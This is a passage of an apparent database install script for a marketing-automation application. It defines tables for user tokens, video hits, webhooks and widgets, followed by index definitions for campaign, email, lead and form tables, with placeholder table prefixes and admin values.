(1, 1, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '[[admin_username]]', '[[admin_pass]]', '[[admin_fname]]', '[[admin_lname]]', '[[admin_email]]', NULL, '', '', NULL, NULL, 'a:0:{}', NULL);

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]user_tokens`
--

CREATE TABLE `[[dbprefix]]user_tokens` (
  `id` int(10) UNSIGNED NOT NULL,
  `user_id` int(10) UNSIGNED NOT NULL,
  `authorizator` varchar(32) NOT NULL,
  `secret` varchar(120) NOT NULL,
  `expiration` datetime DEFAULT NULL,
  `one_time_only` tinyint(1) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]video_hits`
--

CREATE TABLE `[[dbprefix]]video_hits` (
  `id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `date_hit` datetime NOT NULL,
  `date_left` datetime DEFAULT NULL,
  `country` varchar(191) DEFAULT NULL,
  `region` varchar(191) DEFAULT NULL,
  `city` varchar(191) DEFAULT NULL,
  `isp` varchar(191) DEFAULT NULL,
  `organization` varchar(191) DEFAULT NULL,
  `code` int(11) NOT NULL,
  `referer` longtext DEFAULT NULL,
  `url` longtext DEFAULT NULL,
  `user_agent` longtext DEFAULT NULL,
  `remote_host` varchar(191) DEFAULT NULL,
  `guid` varchar(191) NOT NULL,
  `page_language` varchar(191) DEFAULT NULL,
  `browser_languages` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `channel` varchar(191) DEFAULT NULL,
  `channel_id` int(11) DEFAULT NULL,
  `time_watched` int(11) DEFAULT NULL,
  `duration` int(11) DEFAULT NULL,
  `query` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]webhooks`
--

CREATE TABLE `[[dbprefix]]webhooks` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `webhook_url` longtext NOT NULL,
  `secret` varchar(191) NOT NULL,
  `events_orderby_dir` varchar(191) DEFAULT NULL,
  `marked_unhealthy_at` datetime DEFAULT NULL COMMENT '(DC2Type:datetime_immutable)',
  `unhealthy_since` datetime DEFAULT NULL COMMENT '(DC2Type:datetime_immutable)',
  `last_notification_sent_at` datetime DEFAULT NULL COMMENT '(DC2Type:datetime_immutable)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]webhook_events`
--

CREATE TABLE `[[dbprefix]]webhook_events` (
  `id` int(10) UNSIGNED NOT NULL,
  `webhook_id` int(10) UNSIGNED NOT NULL,
  `event_type` varchar(50) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]webhook_logs`
--

CREATE TABLE `[[dbprefix]]webhook_logs` (
  `id` int(10) UNSIGNED NOT NULL,
  `webhook_id` int(10) UNSIGNED NOT NULL,
  `status_code` varchar(50) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `note` varchar(191) DEFAULT NULL,
  `runtime` double DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]webhook_queue`
--

CREATE TABLE `[[dbprefix]]webhook_queue` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `webhook_id` int(10) UNSIGNED NOT NULL,
  `event_id` int(10) UNSIGNED NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL COMMENT '(DC2Type:datetime_immutable)',
  `payload_compressed` mediumblob DEFAULT NULL,
  `retries` smallint(5) UNSIGNED NOT NULL DEFAULT 0
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]widgets`
--

CREATE TABLE `[[dbprefix]]widgets` (
  `id` int(10) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `type` varchar(191) NOT NULL,
  `width` int(11) NOT NULL,
  `height` int(11) NOT NULL,
  `cache_timeout` int(11) DEFAULT NULL,
  `ordering` int(11) DEFAULT NULL,
  `params` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

--
-- Indexes for dumped tables
--

--
-- Indexes for table `[[dbprefix]]assets`
--
ALTER TABLE `[[dbprefix]]assets`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_56A7DF7712469DE2` (`category_id`),
  ADD KEY `[[dbprefix]]asset_alias_search` (`alias`);

--
-- Indexes for table `[[dbprefix]]asset_downloads`
--
ALTER TABLE `[[dbprefix]]asset_downloads`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_D368B4D5DA1941` (`asset_id`),
  ADD KEY `IDX_D368B4DA03F5E9F` (`ip_id`),
  ADD KEY `IDX_D368B4D55458D` (`lead_id`),
  ADD KEY `IDX_D368B4DA832C1C9` (`email_id`),
  ADD KEY `[[dbprefix]]download_tracking_search` (`tracking_id`),
  ADD KEY `[[dbprefix]]download_source_search` (`source`,`source_id`),
  ADD KEY `[[dbprefix]]asset_date_download` (`date_download`);

--
-- Indexes for table `[[dbprefix]]asset_projects_xref`
--
ALTER TABLE `[[dbprefix]]asset_projects_xref`
  ADD PRIMARY KEY (`asset_id`,`project_id`),
  ADD KEY `IDX_388D6C66166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]audit_log`
--
ALTER TABLE `[[dbprefix]]audit_log`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]object_search` (`object`,`object_id`),
  ADD KEY `[[dbprefix]]timeline_search` (`bundle`,`object`,`action`,`object_id`),
  ADD KEY `[[dbprefix]]date_added_index` (`date_added`);

--
-- Indexes for table `[[dbprefix]]bundle_grapesjsbuilder`
--
ALTER TABLE `[[dbprefix]]bundle_grapesjsbuilder`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_E026A2B3A832C1C9` (`email_id`);

--
-- Indexes for table `[[dbprefix]]cache_items`
--
ALTER TABLE `[[dbprefix]]cache_items`
  ADD PRIMARY KEY (`item_id`);

--
-- Indexes for table `[[dbprefix]]campaigns`
--
ALTER TABLE `[[dbprefix]]campaigns`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_7C31366212469DE2` (`category_id`);

--
-- Indexes for table `[[dbprefix]]campaign_events`
--
ALTER TABLE `[[dbprefix]]campaign_events`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_25BBE92535451138` (`redirect_event_id`),
  ADD KEY `IDX_25BBE925F639F774` (`campaign_id`),
  ADD KEY `IDX_25BBE925727ACA70` (`parent_id`),
  ADD KEY `[[dbprefix]]campaign_event_search` (`type`,`event_type`),
  ADD KEY `[[dbprefix]]campaign_event_type` (`event_type`),
  ADD KEY `[[dbprefix]]campaign_event_channel` (`channel`,`channel_id`);

--
-- Indexes for table `[[dbprefix]]campaign_form_xref`
--
ALTER TABLE `[[dbprefix]]campaign_form_xref`
  ADD PRIMARY KEY (`campaign_id`,`form_id`),
  ADD KEY `IDX_E662C7135FF69B7D` (`form_id`);

--
-- Indexes for table `[[dbprefix]]campaign_leadlist_xref`
--
ALTER TABLE `[[dbprefix]]campaign_leadlist_xref`
  ADD PRIMARY KEY (`campaign_id`,`leadlist_id`),
  ADD KEY `IDX_D2074C9AB9FC8874` (`leadlist_id`);

--
-- Indexes for table `[[dbprefix]]campaign_leads`
--
ALTER TABLE `[[dbprefix]]campaign_leads`
  ADD PRIMARY KEY (`campaign_id`,`lead_id`),
  ADD KEY `IDX_F76FBA1255458D` (`lead_id`),
  ADD KEY `[[dbprefix]]campaign_leads_date_added` (`date_added`),
  ADD KEY `[[dbprefix]]campaign_leads_date_exited` (`date_last_exited`),
  ADD KEY `[[dbprefix]]campaign_leads` (`campaign_id`,`manually_removed`,`lead_id`,`rotation`);

--
-- Indexes for table `[[dbprefix]]campaign_lead_event_failed_log`
--
ALTER TABLE `[[dbprefix]]campaign_lead_event_failed_log`
  ADD PRIMARY KEY (`log_id`),
  ADD KEY `[[dbprefix]]campaign_event_failed_date` (`date_added`);

--
-- Indexes for table `[[dbprefix]]campaign_lead_event_log`
--
ALTER TABLE `[[dbprefix]]campaign_lead_event_log`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `[[dbprefix]]campaign_rotation` (`event_id`,`lead_id`,`rotation`),
  ADD KEY `IDX_7BF8FB7D71F7E88B` (`event_id`),
  ADD KEY `IDX_7BF8FB7D55458D` (`lead_id`),
  ADD KEY `IDX_7BF8FB7DF639F774` (`campaign_id`),
  ADD KEY `IDX_7BF8FB7DA03F5E9F` (`ip_id`),
  ADD KEY `[[dbprefix]]campaign_event_upcoming_search` (`is_scheduled`,`lead_id`),
  ADD KEY `[[dbprefix]]campaign_event_schedule_counts` (`campaign_id`,`is_scheduled`,`trigger_date`),
  ADD KEY `[[dbprefix]]campaign_date_triggered` (`date_triggered`),
  ADD KEY `[[dbprefix]]campaign_leads` (`lead_id`,`campaign_id`,`rotation`),
  ADD KEY `[[dbprefix]]campaign_log_channel` (`channel`,`channel_id`,`lead_id`),
  ADD KEY `[[dbprefix]]campaign_actions` (`campaign_id`,`event_id`,`date_triggered`),
  ADD KEY `[[dbprefix]]campaign_stats` (`campaign_id`,`date_triggered`,`event_id`,`non_action_path_taken`),
  ADD KEY `[[dbprefix]]campaign_trigger_date_order` (`trigger_date`),
  ADD KEY `[[dbprefix]]idx_scheduled_events` (`is_scheduled`,`event_id`,`trigger_date`);

--
-- Indexes for table `[[dbprefix]]campaign_projects_xref`
--
ALTER TABLE `[[dbprefix]]campaign_projects_xref`
  ADD PRIMARY KEY (`campaign_id`,`project_id`),
  ADD KEY `IDX_2D44E8D8166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]campaign_summary`
--
ALTER TABLE `[[dbprefix]]campaign_summary`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `[[dbprefix]]campaign_event_date_triggered` (`campaign_id`,`event_id`,`date_triggered`),
  ADD KEY `IDX_13532614F639F774` (`campaign_id`),
  ADD KEY `IDX_1353261471F7E88B` (`event_id`);

--
-- Indexes for table `[[dbprefix]]categories`
--
ALTER TABLE `[[dbprefix]]categories`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]category_alias_search` (`alias`);

--
-- Indexes for table `[[dbprefix]]channel_url_trackables`
--
ALTER TABLE `[[dbprefix]]channel_url_trackables`
  ADD PRIMARY KEY (`redirect_id`,`channel_id`),
  ADD KEY `[[dbprefix]]channel_url_trackable_search` (`channel`,`channel_id`);

--
-- Indexes for table `[[dbprefix]]companies`
--
ALTER TABLE `[[dbprefix]]companies`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_1D06E8287E3C61F9` (`owner_id`),
  ADD KEY `companynumber_of_employees_search` (`companynumber_of_employees`),
  ADD KEY `companyfax_search` (`companyfax`),
  ADD KEY `companyannual_revenue_search` (`companyannual_revenue`),
  ADD KEY `company_filter` (`companyname`,`companyemail`),
  ADD KEY `company_match` (`companyname`,`companycity`,`companycountry`,`companystate`);

--
-- Indexes for table `[[dbprefix]]companies_leads`
--
ALTER TABLE `[[dbprefix]]companies_leads`
  ADD PRIMARY KEY (`company_id`,`lead_id`),
  ADD KEY `IDX_5F66CD7455458D` (`lead_id`);

--
-- Indexes for table `[[dbprefix]]company_projects_xref`
--
ALTER TABLE `[[dbprefix]]company_projects_xref`
  ADD PRIMARY KEY (`company_id`,`project_id`),
  ADD KEY `IDX_C7B9A754166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]contact_export_scheduler`
--
ALTER TABLE `[[dbprefix]]contact_export_scheduler`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_85698433A76ED395` (`user_id`);

--
-- Indexes for table `[[dbprefix]]contact_merge_records`
--
ALTER TABLE `[[dbprefix]]contact_merge_records`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_38D07B80E7A1254A` (`contact_id`),
  ADD KEY `[[dbprefix]]contact_merge_date_added` (`date_added`),
  ADD KEY `[[dbprefix]]contact_merge_ids` (`merged_id`);

--
-- Indexes for table `[[dbprefix]]dynamic_content`
--
ALTER TABLE `[[dbprefix]]dynamic_content`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_8BC6197012469DE2` (`category_id`),
  ADD KEY `IDX_8BC619709091A2FB` (`translation_parent_id`),
  ADD KEY `IDX_8BC6197091861123` (`variant_parent_id`),
  ADD KEY `[[dbprefix]]is_campaign_based_index` (`is_campaign_based`),
  ADD KEY `[[dbprefix]]slot_name_index` (`slot_name`);

--
-- Indexes for table `[[dbprefix]]dynamic_content_lead_data`
--
ALTER TABLE `[[dbprefix]]dynamic_content_lead_data`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_C16B96AE55458D` (`lead_id`),
  ADD KEY `IDX_C16B96AED9D0CD7` (`dynamic_content_id`);

--
-- Indexes for table `[[dbprefix]]dynamic_content_projects_xref`
--
ALTER TABLE `[[dbprefix]]dynamic_content_projects_xref`
  ADD PRIMARY KEY (`dynamic_content_id`,`project_id`),
  ADD KEY `IDX_C70B9C64166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]dynamic_content_stats`
--
ALTER TABLE `[[dbprefix]]dynamic_content_stats`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_5EB36BFD9D0CD7` (`dynamic_content_id`),
  ADD KEY `IDX_5EB36BF55458D` (`lead_id`),
  ADD KEY `[[dbprefix]]stat_dynamic_content_search` (`dynamic_content_id`,`lead_id`),
  ADD KEY `[[dbprefix]]stat_dynamic_content_source_search` (`source`,`source_id`),
  ADD KEY `[[dbprefix]]stat_dynamic_content_date_sent` (`date_sent`);

--
-- Indexes for table `[[dbprefix]]emails`
--
ALTER TABLE `[[dbprefix]]emails`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_63F74AAB12469DE2` (`category_id`),
  ADD KEY `IDX_63F74AAB9091A2FB` (`translation_parent_id`),
  ADD KEY `IDX_63F74AAB91861123` (`variant_parent_id`),
  ADD KEY `IDX_63F74AAB2DC494F6` (`unsubscribeform_id`),
  ADD KEY `IDX_63F74AAB834F9C5B` (`preference_center_id`);

--
-- Indexes for table `[[dbprefix]]emails_draft`
--
ALTER TABLE `[[dbprefix]]emails_draft`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `UNIQ_FCFC80AAA832C1C9` (`email_id`);

--
-- Indexes for table `[[dbprefix]]email_assets_xref`
--
ALTER TABLE `[[dbprefix]]email_assets_xref`
  ADD PRIMARY KEY (`email_id`,`asset_id`),
  ADD KEY `IDX_36FD1ED85DA1941` (`asset_id`);

--
-- Indexes for table `[[dbprefix]]email_copies`
--
ALTER TABLE `[[dbprefix]]email_copies`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `[[dbprefix]]email_list_excluded`
--
ALTER TABLE `[[dbprefix]]email_list_excluded`
  ADD PRIMARY KEY (`email_id`,`leadlist_id`),
  ADD KEY `IDX_9C3B986AB9FC8874` (`leadlist_id`);

--
-- Indexes for table `[[dbprefix]]email_list_xref`
--
ALTER TABLE `[[dbprefix]]email_list_xref`
  ADD PRIMARY KEY (`email_id`,`leadlist_id`),
  ADD KEY `IDX_855B37DEB9FC8874` (`leadlist_id`);

--
-- Indexes for table `[[dbprefix]]email_projects_xref`
--
ALTER TABLE `[[dbprefix]]email_projects_xref`
  ADD PRIMARY KEY (`email_id`,`project_id`),
  ADD KEY `IDX_9CFA6AF166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]email_stats`
--
ALTER TABLE `[[dbprefix]]email_stats`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_2A2CE908A832C1C9` (`email_id`),
  ADD KEY `IDX_2A2CE90855458D` (`lead_id`),
  ADD KEY `IDX_2A2CE9083DAE168B` (`list_id`),
  ADD KEY `IDX_2A2CE908A03F5E9F` (`ip_id`),
  ADD KEY `IDX_2A2CE908A8752772` (`copy_id`),
  ADD KEY `[[dbprefix]]stat_email_search` (`email_id`,`lead_id`),
  ADD KEY `[[dbprefix]]stat_email_search2` (`lead_id`,`email_id`),
  ADD KEY `[[dbprefix]]stat_email_failed_search` (`is_failed`),
  ADD KEY `[[dbprefix]]is_read_date_sent` (`is_read`,`date_sent`),
  ADD KEY `[[dbprefix]]stat_email_hash_search` (`tracking_hash`),
  ADD KEY `[[dbprefix]]stat_email_source_search` (`source`,`source_id`),
  ADD KEY `[[dbprefix]]email_date_sent` (`date_sent`),
  ADD KEY `[[dbprefix]]email_date_read_lead` (`date_read`,`lead_id`),
  ADD KEY `[[dbprefix]]stat_email_lead_id_date_sent` (`lead_id`,`date_sent`),
  ADD KEY `[[dbprefix]]stat_email_email_id_is_read` (`email_id`,`is_read`),
  ADD KEY `[[dbprefix]]generated_sent_date_email_id` (`generated_sent_date`,`email_id`);

--
-- Indexes for table `[[dbprefix]]email_stats_devices`
--
ALTER TABLE `[[dbprefix]]email_stats_devices`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_DB8DA57E94A4C7D4` (`device_id`),
  ADD KEY `IDX_DB8DA57E9502F0B` (`stat_id`),
  ADD KEY `IDX_DB8DA57EA03F5E9F` (`ip_id`),
  ADD KEY `[[dbprefix]]date_opened_search` (`date_opened`);

--
-- Indexes for table `[[dbprefix]]email_stat_replies`
--
ALTER TABLE `[[dbprefix]]email_stat_replies`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_C7C399419502F0B` (`stat_id`),
  ADD KEY `[[dbprefix]]email_replies` (`stat_id`,`message_id`),
  ADD KEY `[[dbprefix]]date_email_replied` (`date_replied`);

--
-- Indexes for table `[[dbprefix]]focus`
--
ALTER TABLE `[[dbprefix]]focus`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_7B1E34D512469DE2` (`category_id`),
  ADD KEY `[[dbprefix]]focus_type` (`focus_type`),
  ADD KEY `[[dbprefix]]focus_style` (`style`),
  ADD KEY `[[dbprefix]]focus_form` (`form_id`),
  ADD KEY `[[dbprefix]]focus_name` (`name`);

--
-- Indexes for table `[[dbprefix]]focus_projects_xref`
--
ALTER TABLE `[[dbprefix]]focus_projects_xref`
  ADD PRIMARY KEY (`focus_id`,`project_id`),
  ADD KEY `IDX_2A9E6AC6166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]focus_stats`
--
ALTER TABLE `[[dbprefix]]focus_stats`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_234FBFF151804B42` (`focus_id`),
  ADD KEY `IDX_234FBFF155458D` (`lead_id`),
  ADD KEY `[[dbprefix]]focus_type` (`type`),
  ADD KEY `[[dbprefix]]focus_type_id` (`type`,`type_id`),
  ADD KEY `[[dbprefix]]focus_date_added` (`date_added`);

--
-- Indexes for table `[[dbprefix]]forms`
--
ALTER TABLE `[[dbprefix]]forms`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_E4E165CB12469DE2` (`category_id`);

--
-- Indexes for table `[[dbprefix]]form_actions`
--
ALTER TABLE `[[dbprefix]]form_actions`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_711BEB6E5FF69B7D` (`form_id`),
  ADD KEY `[[dbprefix]]form_action_type_search` (`type`);

--
-- Indexes for table `[[dbprefix]]form_fields`
--
ALTER TABLE `[[dbprefix]]form_fields`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_9C2DF80B5FF69B7D` (`form_id`),
  ADD KEY `[[dbprefix]]form_field_type_search` (`type`);

--
-- Indexes for table `[[dbprefix]]form_projects_xref`
--
ALTER TABLE `[[dbprefix]]form_projects_xref`
  ADD PRIMARY KEY (`form_id`,`project_id`),
  ADD KEY `IDX_2F032488166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]form_submissions`
--
ALTER TABLE `[[dbprefix]]form_submissions`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_BDCB25BD5FF69B7D` (`form_id`),
  ADD KEY `IDX_BDCB25BDA03F5E9F` (`ip_id`),
  ADD KEY `IDX_BDCB25BD55458D` (`lead_id`),
  ADD KEY `IDX_BDCB25BDC4663E4` (`page_id`),
  ADD KEY `[[dbprefix]]form_submission_tracking_search` (`tracking_id`),
  ADD KEY `[[dbprefix]]form_date_submitted` (`date_submitted`);

--
-- Indexes for table `[[dbprefix]]imports`
--
ALTER TABLE `[[dbprefix]]imports`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]import_object` (`object`),
  ADD KEY `[[dbprefix]]import_status` (`status`),
  ADD KEY `[[dbprefix]]import_priority` (`priority`);

--
-- Indexes for table `[[dbprefix]]integration_entity`
--
ALTER TABLE `[[dbprefix]]integration_entity`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]integration_external_entity` (`integration`,`integration_entity`,`integration_entity_id`),
  ADD KEY `[[dbprefix]]integration_internal_entity` (`integration`,`internal_entity`,`internal_entity_id`),
  ADD KEY `[[dbprefix]]integration_entity_match` (`integration`,`internal_entity`,`integration_entity`),
  ADD KEY `[[dbprefix]]integration_last_sync_date` (`integration`,`last_sync_date`),
  ADD KEY `[[dbprefix]]internal_integration_entity` (`internal_entity_id`,`integration_entity_id`,`internal_entity`,`integration_entity`);

--
-- Indexes for table `[[dbprefix]]ip_addresses`
--
ALTER TABLE `[[dbprefix]]ip_addresses`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]ip_search` (`ip_address`);

--
-- Indexes for table `[[dbprefix]]leads`
--
ALTER TABLE `[[dbprefix]]leads`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_E4E3B6E7E3C61F9` (`owner_id`),
  ADD KEY `IDX_E4E3B6E2298D193` (`stage_id`),
  ADD KEY `[[dbprefix]]lead_date_added` (`date_added`),
  ADD KEY `[[dbprefix]]lead_date_modified` (`date_modified`),
  ADD KEY `[[dbprefix]]date_identified` (`date_identified`),
  ADD KEY `fax_search` (`fax`),
  ADD KEY `preferred_locale_search` (`preferred_locale`),
  ADD KEY `attribution_date_search` (`attribution_date`),
  ADD KEY `attribution_search` (`attribution`),
  ADD KEY `website_search` (`website`),
  ADD KEY `facebook_search` (`facebook`),
  ADD KEY `foursquare_search` (`foursquare`),
  ADD KEY `instagram_search` (`instagram`),
  ADD KEY `linkedin_search` (`linkedin`),
  ADD KEY `skype_search` (`skype`),
  ADD KEY `twitter_search` (`twitter`),
  ADD KEY `contact_attribution` (`attribution`,`attribution_date`),
  ADD KEY `date_added_country_index` (`date_added`,`country`),
  ADD KEY `[[dbprefix]]generated_email_domain` (`generated_email_domain`);

--
-- Indexes for table `[[dbprefix]]lead_categories`
--
ALTER TABLE `[[dbprefix]]lead_categories`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_B9179A3612469DE2` (`category_id`),
  ADD KEY `IDX_B9179A3655458D` (`lead_id`);

--
-- Indexes for table `[[dbprefix]]lead_companies_change_log`
--
ALTER TABLE `[[dbprefix]]lead_companies_change_log`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_30047CAE55458D` (`lead_id`),
  ADD KEY `[[dbprefix]]company_date_added` (`date_added`);

--
-- Indexes for table `[[dbprefix]]lead_devices`
--
ALTER TABLE `[[dbprefix]]lead_devices`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `UNIQ_DF6684E7D05ABBE` (`tracking_id`),
  ADD KEY `IDX_DF6684E55458D` (`lead_id`),
  ADD KEY `[[dbprefix]]date_added_search` (`date_added`),
  ADD KEY `[[dbprefix]]device_search` (`device`),
  ADD KEY `[[dbprefix]]device_os_name_search` (`device_os_name`),
  ADD KEY `[[dbprefix]]device_os_shortname_search` (`device_os_shortname`),
  ADD KEY `[[dbprefix]]device_os_version_search` (`device_os_version`),
  ADD KEY `[[dbprefix]]device_os_platform_search` (`device_os_platform`),
  ADD KEY `[[dbprefix]]device_brand_search` (`device_brand`),
  ADD KEY `[[dbprefix]]device_model_search` (`device_model`);

--
-- Indexes for table `[[dbprefix]]lead_donotcontact`
--
ALTER TABLE `[[dbprefix]]lead_donotcontact`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_8D1042BD55458D` (`lead_id`),
  ADD KEY `[[dbprefix]]leadid_reason_channel` (`lead_id`,`channel`,`reason`),
  ADD KEY `[[dbprefix]]dnc_reason_search` (`reason`),
  ADD KEY `[[dbprefix]]dnc_date_added` (`date_added`);

--
-- Indexes for table `[[dbprefix]]lead_event_log`
--
ALTER TABLE `[[dbprefix]]lead_event_log`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]lead_id_index` (`lead_id`),
  ADD KEY `[[dbprefix]]lead_object_index` (`object`,`object_id`),
  ADD KEY `[[dbprefix]]lead_timeline_index` (`bundle`,`object`,`action`,`object_id`),
  ADD KEY `[[dbprefix]]IDX_SEARCH` (`bundle`,`object`,`action`,`object_id`,`date_added`),
  ADD KEY `[[dbprefix]]lead_timeline_action_index` (`action`),
  ADD KEY `[[dbprefix]]lead_date_added_index` (`date_added`);

--
-- Indexes for table `[[dbprefix]]lead_fields`
--
ALTER TABLE `[[dbprefix]]lead_fields`
  ADD PRIMARY KEY (`id`),
  ADD KEY `[[dbprefix]]idx_object_field_order_is_published` (`object`,`field_order`,`is_published`);

--
-- Indexes for table `[[dbprefix]]lead_frequencyrules`
--
ALTER TABLE `[[dbprefix]]lead_frequencyrules`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_B8DEEE555458D` (`lead_id`),
  ADD KEY `[[dbprefix]]channel_frequency` (`channel`),
  ADD KEY `[[dbprefix]]idx_frequency_date_added` (`lead_id`,`date_added`);

--
-- Indexes for table `[[dbprefix]]lead_ips_xref`
--
ALTER TABLE `[[dbprefix]]lead_ips_xref`
  ADD PRIMARY KEY (`lead_id`,`ip_id`),
  ADD KEY `IDX_B51C1B8EA03F5E9F` (`ip_id`);

--
-- Indexes for table `[[dbprefix]]lead_lists`
--
ALTER TABLE `[[dbprefix]]lead_lists`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_9DE7612012469DE2` (`category_id`),
  ADD KEY `[[dbprefix]]lead_list_alias` (`alias`),
  ADD KEY `[[dbprefix]]segment_deleted` (`deleted`);

--
-- Indexes for table `[[dbprefix]]lead_lists_leads`
--
ALTER TABLE `[[dbprefix]]lead_lists_leads`
  ADD PRIMARY KEY (`leadlist_id`,`lead_id`),
  ADD KEY `IDX_8035A02755458D` (`lead_id`),
  ADD KEY `[[dbprefix]]manually_removed` (`manually_removed`),
  ADD KEY `[[dbprefix]]lead_id_lists_id_removed` (`lead_id`,`leadlist_id`,`manually_removed`);

--
-- Indexes for table `[[dbprefix]]lead_list_projects_xref`
--
ALTER TABLE `[[dbprefix]]lead_list_projects_xref`
  ADD PRIMARY KEY (`leadlist_id`,`project_id`),
  ADD KEY `IDX_87BC3B0C166D1F9C` (`project_id`);

--
-- Indexes for table `[[dbprefix]]lead_notes`
--
ALTER TABLE `[[dbprefix]]lead_notes`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_94DA580955458D` (`lead_id`);

--
-- Indexes for table `[[dbprefix]]lead_points_change_log`
--
ALTER TABLE `[[dbprefix]]lead_points_change_log`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_221B657855458D` (`lead_id`),
  ADD KEY `IDX_221B6578A03F5E9F` (`ip_id`),
  ADD KEY `IDX_221B6578FE54D947` (`group_id`),
  ADD KEY `[[dbprefix]]point_date_added` (`date_added`);

--
-- Indexes for table `[[dbprefix]]lead_stages_change_log`
--
ALTER TABLE `[[dbprefix]]lead_stages_change_log`
  ADD PRIMARY KEY (`id`),
  ADD KEY `IDX_C533674755458D` (`lead_id`),
  ADD KEY `IDX_C53367472298D193` (`stage_id`),
  ADD KEY `[[dbprefix]]lead_stages_change_log_date_added` (`date_added`);

--
